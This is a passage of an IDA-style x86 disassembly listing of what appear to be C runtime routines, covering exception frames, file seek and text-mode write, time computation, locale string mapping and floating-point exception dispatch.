push eax
push dword ptr [ebx+18h]
call sub_422B8D
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41CF2E
jmp short loc_422B07
; ---------------------------------------------------------------------------
loc_422B02: ; CODE XREF: sub_422962+6Aj
; sub_422962+7Cj ...
call sub_422C52
loc_422B07: ; CODE XREF: sub_422962+98j
; sub_422962+E1j ...
or [ebp+var_4], 0FFFFFFFFh
loc_422B0B: ; CODE XREF: sub_422962+2Ej
; sub_422962+38j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422962 endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_422BFC
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422B26 proc near ; CODE XREF: sub_422451+170p
; sub_4228F2+3Ep
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4288E8
push offset sub_423B80
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_422B6D
mov ecx, [eax+1Ch]
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_422B6D
and [ebp+var_4], 0
push ecx
push dword ptr [eax+18h]
call sub_41CF2E
or [ebp+var_4], 0FFFFFFFFh
loc_422B6D: ; CODE XREF: sub_422B26+2Aj
; sub_422B26+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422B26 endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_422BFC
; =============== S U B R O U T I N E =======================================
sub_422B8D proc near ; CODE XREF: sub_422962+8Fp
; sub_422962+12Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov eax, [ecx]
mov edx, [ecx+4]
add eax, esi
test edx, edx
jl short loc_422BAE
mov esi, [edx+esi]
mov ecx, [ecx+8]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_422BAE: ; CODE XREF: sub_422B8D+12j
pop esi
retn
sub_422B8D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422BB0 proc near ; CODE XREF: sub_41CFC1+40p
; sub_4226FD+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_41D2AD
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_422BEF
mov ecx, 2
loc_422BEF: ; CODE XREF: sub_422BB0+38j
push ecx
call sub_41D2AD
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_422BB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422BFC proc near ; CODE XREF: sub_422451:loc_4225F3j
; sub_42279B:loc_4227ACj ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00424E90 SIZE 00000017 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4288F8
push offset sub_423B80
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, dword_4DE678
test eax, eax
jz short loc_422C44
mov [ebp+var_4], 1
call eax
jmp short loc_422C40
; ---------------------------------------------------------------------------
loc_422C39: ; DATA XREF: .XPack0:00428908o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422C3D: ; DATA XREF: .XPack0:0042890Co
mov esp, [ebp+var_18]
loc_422C40: ; CODE XREF: sub_422BFC+3Bj
and [ebp+var_4], 0
loc_422C44: ; CODE XREF: sub_422BFC+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_422C4D: ; DATA XREF: .XPack0:00428900o
jmp loc_424E90
sub_422BFC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422C52 proc near ; CODE XREF: sub_41D163+23p
; sub_41D163:loc_41D1CEp ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_428910
push offset sub_423B80
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, off_43FBE4
test eax, eax
jz short loc_422C9A
mov [ebp+var_4], 1
call eax ; sub_422BFC
jmp short loc_422C96
; ---------------------------------------------------------------------------
loc_422C8F: ; DATA XREF: .XPack0:00428920o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422C93: ; DATA XREF: .XPack0:00428924o
mov esp, [ebp+var_18]
loc_422C96: ; CODE XREF: sub_422C52+3Bj
and [ebp+var_4], 0
loc_422C9A: ; CODE XREF: sub_422C52+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_422CA3: ; DATA XREF: .XPack0:00428918o
jmp sub_422BFC
sub_422C52 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422CA8 proc near ; CODE XREF: sub_41D643+7p
; sub_41D643+26p
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4DFC68
push esi
cmp eax, 3
jnz short loc_422CD1
mov esi, [ebp+arg_0]
push esi
call sub_41E517
test eax, eax
pop ecx
jz short loc_422CCE
mov eax, [esi-4]
sub eax, 9
jmp short loc_422D06
; ---------------------------------------------------------------------------
loc_422CCE: ; CODE XREF: sub_422CA8+1Cj
push esi
jmp short loc_422CF8
; ---------------------------------------------------------------------------
loc_422CD1: ; CODE XREF: sub_422CA8+Ej
cmp eax, 2
jnz short loc_422CF5
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
push [ebp+arg_0]
call sub_41F272
add esp, 0Ch
test eax, eax
jz short loc_422CF5
movzx eax, byte ptr [eax]
shl eax, 4
jmp short loc_422D06
; ---------------------------------------------------------------------------
loc_422CF5: ; CODE XREF: sub_422CA8+2Cj
; sub_422CA8+43j
push [ebp+arg_0]
loc_422CF8: ; CODE XREF: sub_422CA8+27j
push 0
push dword_4DFC64
call dword_428058 ; RtlSizeHeap
loc_422D06: ; CODE XREF: sub_422CA8+24j
; sub_422CA8+4Bj
pop esi
leave
retn
sub_422CA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422D09 proc near ; CODE XREF: sub_41D71B+C9p
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_0]
sub ebx, 76Ch
cmp ebx, 46h
jl loc_422DC5
cmp ebx, 8Ah
jg loc_422DC5
push esi
push edi
mov edi, [ebp+arg_4]
mov esi, dword_4400AC[edi*4]
add esi, [ebp+arg_8]
test bl, 3
jnz short loc_422D48
cmp edi, 2
jle short loc_422D48
inc esi
loc_422D48: ; CODE XREF: sub_422D09+37j
; sub_422D09+3Cj
call sub_424EA7
mov eax, ebx
lea ecx, [ebx-1]
imul eax, 16Dh
sar ecx, 2
mov edx, esi
mov [ebp+var_8], esi
add edx, ecx
mov [ebp+var_10], ebx
add eax, edx
mov edx, [ebp+arg_14]
lea ecx, [eax+eax*2]
mov eax, [ebp+arg_C]
mov [ebp+var_1C], eax
lea ecx, [eax+ecx*8]
imul ecx, 3Ch
add ecx, [ebp+arg_10]
imul ecx, 3Ch
add ecx, dword_43FFC8
dec edi
cmp [ebp+arg_18], 1
mov [ebp+var_14], edi
pop edi
pop esi
lea ecx, [ecx+edx+7C558180h]
mov [ebp+arg_0], ecx
jz short loc_422DBB
cmp [ebp+arg_18], 0FFFFFFFFh
jnz short loc_422DC1
cmp dword_43FFCC, 0
jz short loc_422DC1
lea eax, [ebp+var_24]
push eax
call sub_42511A
pop ecx
mov ecx, [ebp+arg_0]
test eax, eax
jz short loc_422DC1
loc_422DBB: ; CODE XREF: sub_422D09+90j
add ecx, dword_43FFD0
loc_422DC1: ; CODE XREF: sub_422D09+96j
; sub_422D09+9Fj ...
mov eax, ecx
jmp short loc_422DC8
; ---------------------------------------------------------------------------
loc_422DC5: ; CODE XREF: sub_422D09+13j
; sub_422D09+1Fj
or eax, 0FFFFFFFFh
loc_422DC8: ; CODE XREF: sub_422D09+BAj
pop ebx
leave
retn
sub_422D09 endp
; =============== S U B R O U T I N E =======================================
sub_422DCB proc near ; CODE XREF: sub_41D88C+67p
; sub_41F7BC+1A2p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
cmp eax, dword_4DFA20
push esi
push edi
jnb short loc_422E4D
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4DF920h[ecx*4]
shl esi, 3
mov ecx, [edi]
test byte ptr [ecx+esi+4], 1
jz short loc_422E4D
push eax
call sub_423F6A
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_422E0F
mov dword_4DE5C4, 9
jmp short loc_422E5E
; ---------------------------------------------------------------------------
loc_422E0F: ; CODE XREF: sub_422DCB+36j
push [esp+0Ch+arg_8]
push 0
push [esp+14h+arg_4]
push eax
call dword_42812C ; SetFilePointer
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_422E2F
call dword_428094 ; RtlGetLastWin32Error
jmp short loc_422E31
; ---------------------------------------------------------------------------
loc_422E2F: ; CODE XREF: sub_422DCB+5Aj
xor eax, eax
loc_422E31: ; CODE XREF: sub_422DCB+62j
test eax, eax
jz short loc_422E3E
push eax
call sub_420A7F
pop ecx
jmp short loc_422E5E
; ---------------------------------------------------------------------------
loc_422E3E: ; CODE XREF: sub_422DCB+68j
mov eax, [edi]
and byte ptr [eax+esi+4], 0FDh
lea eax, [eax+esi+4]
mov eax, ebx
jmp short loc_422E61
; ---------------------------------------------------------------------------
loc_422E4D: ; CODE XREF: sub_422DCB+Dj
; sub_422DCB+2Aj
and dword_4DE5C8, 0
mov dword_4DE5C4, 9
loc_422E5E: ; CODE XREF: sub_422DCB+42j
; sub_422DCB+71j
or eax, 0FFFFFFFFh
loc_422E61: ; CODE XREF: sub_422DCB+80j
pop edi
pop esi
pop ebx
retn
sub_422DCB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422E65 proc near ; CODE XREF: sub_41D88C+2Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov esi, [edi+10h]
cmp [edi+4], ebx
mov [ebp+var_C], esi
jge short loc_422E81
mov [edi+4], ebx
loc_422E81: ; CODE XREF: sub_422E65+17j
push 1
push ebx
push esi
call sub_422DCB
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_422EEF
mov edx, [edi+0Ch]
test dx, 108h
jnz short loc_422EA6
sub eax, [edi+4]
jmp loc_422FB8
; ---------------------------------------------------------------------------
loc_422EA6: ; CODE XREF: sub_422E65+37j
mov eax, [edi]
mov ecx, [edi+8]
mov ebx, eax
sub ebx, ecx
test dl, 3
mov [ebp+var_8], ebx
jz short loc_422EE0
mov edx, esi
mov ebx, esi
sar edx, 5
and ebx, 1Fh
mov edx, dword_4DF920[edx*4]
test byte ptr [edx+ebx*8+4], 80h
jz short loc_422EF7
mov edx, ecx
loc_422ED1: ; CODE XREF: sub_422E65+79j
cmp edx, eax
jnb short loc_422EF7
cmp byte ptr [edx], 0Ah
jnz short loc_422EDD
inc [ebp+var_8]
loc_422EDD: ; CODE XREF: sub_422E65+73j
inc edx
jmp short loc_422ED1
; ---------------------------------------------------------------------------
loc_422EE0: ; CODE XREF: sub_422E65+50j
test dl, 80h
jnz short loc_422EF7
mov dword_4DE5C4, 16h
loc_422EEF: ; CODE XREF: sub_422E65+2Dj
or eax, 0FFFFFFFFh
jmp loc_422FB8
; ---------------------------------------------------------------------------
loc_422EF7: ; CODE XREF: sub_422E65+68j
; sub_422E65+6Ej ...
cmp [ebp+var_4], 0
jnz short loc_422F05
mov eax, [ebp+var_8]
jmp loc_422FB8
; ---------------------------------------------------------------------------
loc_422F05: ; CODE XREF: sub_422E65+96j
test byte ptr [edi+0Ch], 1
jz loc_422FB0
mov edx, [edi+4]
test edx, edx
jnz short loc_422F1E
and [ebp+var_8], edx
jmp loc_422FB0
; ---------------------------------------------------------------------------
loc_422F1E: ; CODE XREF: sub_422E65+AFj
sub eax, ecx
add eax, edx
mov [ebp+arg_0], eax
mov eax, esi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DF920h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [esi+eax+4], 80h
jz short loc_422FAA
push 2
push 0
push [ebp+var_C]
call sub_422DCB
add esp, 0Ch
cmp eax, [ebp+var_4]
jnz short loc_422F71
mov eax, [edi+8]
mov ecx, [ebp+arg_0]
add ecx, eax
loc_422F5C: ; CODE XREF: sub_422E65+104j
cmp eax, ecx
jnb short loc_422F6B
cmp byte ptr [eax], 0Ah
jnz short loc_422F68
inc [ebp+arg_0]
loc_422F68: ; CODE XREF: sub_422E65+FEj
inc eax
jmp short loc_422F5C
; ---------------------------------------------------------------------------
loc_422F6B: ; CODE XREF: sub_422E65+F9j
test byte ptr [edi+0Dh], 20h
jmp short loc_422FA5
; ---------------------------------------------------------------------------
loc_422F71: ; CODE XREF: sub_422E65+EDj
push 0
push [ebp+var_4]
push [ebp+var_C]
call sub_422DCB
mov eax, 200h
add esp, 0Ch
cmp [ebp+arg_0], eax
ja short loc_422F98
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_422F98
test ch, 4
jz short loc_422F9B
loc_422F98: ; CODE XREF: sub_422E65+124j
; sub_422E65+12Cj
mov eax, [edi+18h]
loc_422F9B: ; CODE XREF: sub_422E65+131j
mov [ebp+arg_0], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_422FA5: ; CODE XREF: sub_422E65+10Aj
jz short loc_422FAA
inc [ebp+arg_0]
loc_422FAA: ; CODE XREF: sub_422E65+D9j
; sub_422E65:loc_422FA5j
mov eax, [ebp+arg_0]
sub [ebp+var_4], eax
loc_422FB0: ; CODE XREF: sub_422E65+A4j
; sub_422E65+B4j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
add eax, ecx
loc_422FB8: ; CODE XREF: sub_422E65+3Cj
; sub_422E65+8Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_422E65 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422FBD proc near ; CODE XREF: sub_41D954+A2p
; sub_41E22B+2Cp ...
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
mov ecx, [ebp+arg_0]
push ebx
cmp ecx, dword_4DFA20
push esi
push edi
jnb loc_423151
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DF920h[eax*4]
shl esi, 3
mov eax, [ebx]
mov al, [eax+esi+4]
test al, 1
jz loc_423151
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebp+var_8], edi
mov [ebp+var_10], edi
jnz short loc_42300E
loc_423007: ; CODE XREF: sub_422FBD+177j
xor eax, eax
jmp loc_423165
; ---------------------------------------------------------------------------
loc_42300E: ; CODE XREF: sub_422FBD+48j
test al, 20h
jz short loc_42301E
push 2
push edi
push ecx
call sub_422DCB
add esp, 0Ch
loc_42301E: ; CODE XREF: sub_422FBD+53j
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_4230ED
mov eax, [ebp+arg_4]
cmp [ebp+arg_8], edi
mov [ebp+var_4], eax
mov [ebp+arg_0], edi
jbe loc_423125
loc_42303E: ; CODE XREF: sub_422FBD+F5j
lea eax, [ebp+var_414]
loc_423044: ; CODE XREF: sub_422FBD+B9j
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_423078
mov ecx, [ebp+var_4]
inc [ebp+var_4]
mov cl, [ecx]
cmp cl, 0Ah
jnz short loc_423063
inc [ebp+var_10]
mov byte ptr [eax], 0Dh
inc eax
loc_423063: ; CODE XREF: sub_422FBD+9Dj
mov [eax], cl
inc eax
mov ecx, eax
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jl short loc_423044
loc_423078: ; CODE XREF: sub_422FBD+90j
mov edi, eax
lea eax, [ebp+var_414]
sub edi, eax
lea eax, [ebp+var_C]
push 0
push eax
lea eax, [ebp+var_414]
push edi
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call dword_4280F0 ; WriteFile
test eax, eax
jz short loc_4230E2
mov eax, [ebp+var_C]
add [ebp+var_8], eax
cmp eax, edi
jl short loc_4230B4
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jb short loc_42303E
loc_4230B4: ; CODE XREF: sub_422FBD+EAj
; sub_422FBD+12Ej
xor edi, edi
loc_4230B6: ; CODE XREF: sub_422FBD+150j
; sub_422FBD+15Bj
mov eax, [ebp+var_8]
cmp eax, edi
jnz loc_42314C
cmp [ebp+arg_0], edi
jz short loc_423125
push 5
pop eax
cmp [ebp+arg_0], eax
jnz short loc_42311A
mov dword_4DE5C4, 9
mov dword_4DE5C8, eax
jmp loc_423162
; ---------------------------------------------------------------------------
loc_4230E2: ; CODE XREF: sub_422FBD+E0j
call dword_428094 ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_4230B4
; ---------------------------------------------------------------------------
loc_4230ED: ; CODE XREF: sub_422FBD+69j
lea ecx, [ebp+var_C]
push edi
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax]
call dword_4280F0 ; WriteFile
test eax, eax
jz short loc_42310F
mov eax, [ebp+var_C]
mov [ebp+arg_0], edi
mov [ebp+var_8], eax
jmp short loc_4230B6
; ---------------------------------------------------------------------------
loc_42310F: ; CODE XREF: sub_422FBD+145j
call dword_428094 ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_4230B6
; ---------------------------------------------------------------------------
loc_42311A: ; CODE XREF: sub_422FBD+10Fj
push [ebp+arg_0]
call sub_420A7F
pop ecx
jmp short loc_423162
; ---------------------------------------------------------------------------
loc_423125: ; CODE XREF: sub_422FBD+7Bj
; sub_422FBD+107j
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_42313A
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jz loc_423007
loc_42313A: ; CODE XREF: sub_422FBD+16Fj
mov dword_4DE5C4, 1Ch
mov dword_4DE5C8, edi
jmp short loc_423162
; ---------------------------------------------------------------------------
loc_42314C: ; CODE XREF: sub_422FBD+FEj
sub eax, [ebp+var_10]
jmp short loc_423165
; ---------------------------------------------------------------------------
loc_423151: ; CODE XREF: sub_422FBD+15j
; sub_422FBD+37j
and dword_4DE5C8, 0
mov dword_4DE5C4, 9
loc_423162: ; CODE XREF: sub_422FBD+120j
; sub_422FBD+166j ...
or eax, 0FFFFFFFFh
loc_423165: ; CODE XREF: sub_422FBD+4Cj
; sub_422FBD+192j
pop edi
pop esi
pop ebx
leave
retn
sub_422FBD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42316A proc near ; CODE XREF: sub_41DC4A+47p
; sub_41DC4A+74p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_428930
push offset sub_423B80
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor edi, edi
cmp dword_4DE69C, edi
jnz short loc_4231E0
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_428928
mov esi, 100h
push esi
push edi
call dword_428050 ; LCMapStringW
test eax, eax
jz short loc_4231BE
mov dword_4DE69C, ebx
jmp short loc_4231E0
; ---------------------------------------------------------------------------
loc_4231BE: ; CODE XREF: sub_42316A+4Aj
push edi
push edi
push ebx
push offset dword_4CE1C0
push esi
push edi
call dword_428054 ; LCMapStringA
test eax, eax
jz loc_4232F8
mov dword_4DE69C, 2
loc_4231E0: ; CODE XREF: sub_42316A+2Ej
; sub_42316A+52j
cmp [ebp+arg_C], edi
jle short loc_4231F5
push [ebp+arg_C]
push [ebp+arg_8]
call sub_42338E
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_4231F5: ; CODE XREF: sub_42316A+79j
mov eax, dword_4DE69C
cmp eax, 2
jnz short loc_42321C
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_428054 ; LCMapStringA
jmp loc_4232FA
; ---------------------------------------------------------------------------
loc_42321C: ; CODE XREF: sub_42316A+93j
cmp eax, 1
jnz loc_4232F8
cmp [ebp+arg_18], edi
jnz short loc_423232
mov eax, dword_4DE694
mov [ebp+arg_18], eax
loc_423232: ; CODE XREF: sub_42316A+BEj
push edi
push edi
push [ebp+arg_C]
push [ebp+arg_8]
mov eax, [ebp+arg_1C]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_18]
call dword_4280E8 ; MultiByteToWideChar
mov ebx, eax
mov [ebp+var_1C], ebx
cmp ebx, edi
jz loc_4232F8
mov [ebp+var_4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_41C190
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_42328D
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_24], edi
or [ebp+var_4], 0FFFFFFFFh
mov ebx, [ebp+var_1C]
loc_42328D: ; CODE XREF: sub_42316A+10Ej
cmp [ebp+var_24], edi
jz short loc_4232F8
push ebx
push [ebp+var_24]
push [ebp+arg_C]
push [ebp+arg_8]
push 1
push [ebp+arg_18]
call dword_4280E8 ; MultiByteToWideChar
test eax, eax
jz short loc_4232F8
push edi
push edi
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_428050 ; LCMapStringW
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz short loc_4232F8
test byte ptr [ebp+arg_4+1], 4
jz short loc_42330C
cmp [ebp+arg_14], edi
jz loc_423387
cmp esi, [ebp+arg_14]
jg short loc_4232F8
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_428050 ; LCMapStringW
test eax, eax
jnz loc_423387
loc_4232F8: ; CODE XREF: sub_42316A+66j
; sub_42316A+B5j ...
xor eax, eax
loc_4232FA: ; CODE XREF: sub_42316A+ADj
; sub_42316A+21Fj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_42330C: ; CODE XREF: sub_42316A+160j
mov [ebp+var_4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_41C190
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_20], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_423340
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_423340: ; CODE XREF: sub_42316A+1C2j
cmp ebx, edi
jz short loc_4232F8
push esi
push ebx
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_428050 ; LCMapStringW
test eax, eax
jz short loc_4232F8
cmp [ebp+arg_14], edi
push edi
push edi
jnz short loc_423367
push edi
push edi
jmp short loc_42336D
; ---------------------------------------------------------------------------
loc_423367: ; CODE XREF: sub_42316A+1F7j
push [ebp+arg_14]
push [ebp+arg_10]
loc_42336D: ; CODE XREF: sub_42316A+1FBj
push esi
push ebx
push 220h
push [ebp+arg_18]
call dword_42818C ; WideCharToMultiByte
mov esi, eax
cmp esi, edi
jz loc_4232F8
loc_423387: ; CODE XREF: sub_42316A+165j
; sub_42316A+188j
mov eax, esi
jmp loc_4232FA
sub_42316A endp
; =============== S U B R O U T I N E =======================================
sub_42338E proc near ; CODE XREF: sub_42316A+81p
; sub_4265D3+7Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_4233AB
loc_42339E: ; CODE XREF: sub_42338E+1Bj
cmp byte ptr [eax], 0
jz short loc_4233AB
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_42339E
loc_4233AB: ; CODE XREF: sub_42338E+Ej
; sub_42338E+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_4233B6
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_4233B6: ; CODE XREF: sub_42338E+21j
mov eax, edx
retn
sub_42338E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4233B9 proc near ; CODE XREF: sub_41DFD3+E3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push [ebp+arg_0]
call sub_4234FA
test eax, eax
pop ecx
jz loc_4234EE
mov ebx, [eax+8]
test ebx, ebx
jz loc_4234EE
cmp ebx, 5
jnz short loc_4233EA
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_4234F7
; ---------------------------------------------------------------------------
loc_4233EA: ; CODE XREF: sub_4233B9+23j
cmp ebx, 1
jz loc_4234E9
mov ecx, dword_4DE6A0
mov [ebp+arg_0], ecx
mov ecx, [ebp+arg_4]
mov dword_4DE6A0, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_4234D9
mov ecx, dword_43FC60
mov edx, dword_43FC64
add edx, ecx
push esi
cmp ecx, edx
jge short loc_423439
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:43FBF0h[esi*4]
loc_423430: ; CODE XREF: sub_4233B9+7Ej
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_423430
loc_423439: ; CODE XREF: sub_4233B9+69j
mov eax, [eax]
mov esi, dword_43FC6C
cmp eax, 0C000008Eh
jnz short loc_423454
mov dword_43FC6C, 83h
jmp short loc_4234C4
; ---------------------------------------------------------------------------
loc_423454: ; CODE XREF: sub_4233B9+8Dj
cmp eax, 0C0000090h
jnz short loc_423467
mov dword_43FC6C, 81h
jmp short loc_4234C4
; ---------------------------------------------------------------------------
loc_423467: ; CODE XREF: sub_4233B9+A0j
cmp eax, 0C0000091h
jnz short loc_42347A
mov dword_43FC6C, 84h
jmp short loc_4234C4
; ---------------------------------------------------------------------------
loc_42347A: ; CODE XREF: sub_4233B9+B3j
cmp eax, 0C0000093h
jnz short loc_42348D
mov dword_43FC6C, 85h
jmp short loc_4234C4
; ---------------------------------------------------------------------------
loc_42348D: ; CODE XREF: sub_4233B9+C6j
cmp eax, 0C000008Dh
jnz short loc_4234A0
mov dword_43FC6C, 82h
jmp short loc_4234C4
; ---------------------------------------------------------------------------
loc_4234A0: ; CODE XREF: sub_4233B9+D9j
cmp eax, 0C000008Fh
jnz short loc_4234B3
mov dword_43FC6C, 86h
jmp short loc_4234C4
; ---------------------------------------------------------------------------
loc_4234B3: ; CODE XREF: sub_4233B9+ECj
cmp eax, 0C0000092h
jnz short loc_4234C4
mov dword_43FC6C, 8Ah
loc_4234C4: ; CODE XREF: sub_4233B9+99j
; sub_4233B9+ACj ...
push dword_43FC6C
push 8
call ebx
pop ecx
mov dword_43FC6C, esi
pop ecx
pop esi
jmp short loc_4234E1
; ---------------------------------------------------------------------------
loc_4234D9: ; CODE XREF: sub_4233B9+52j
and dword ptr [eax+8], 0
push ecx
call ebx
pop ecx
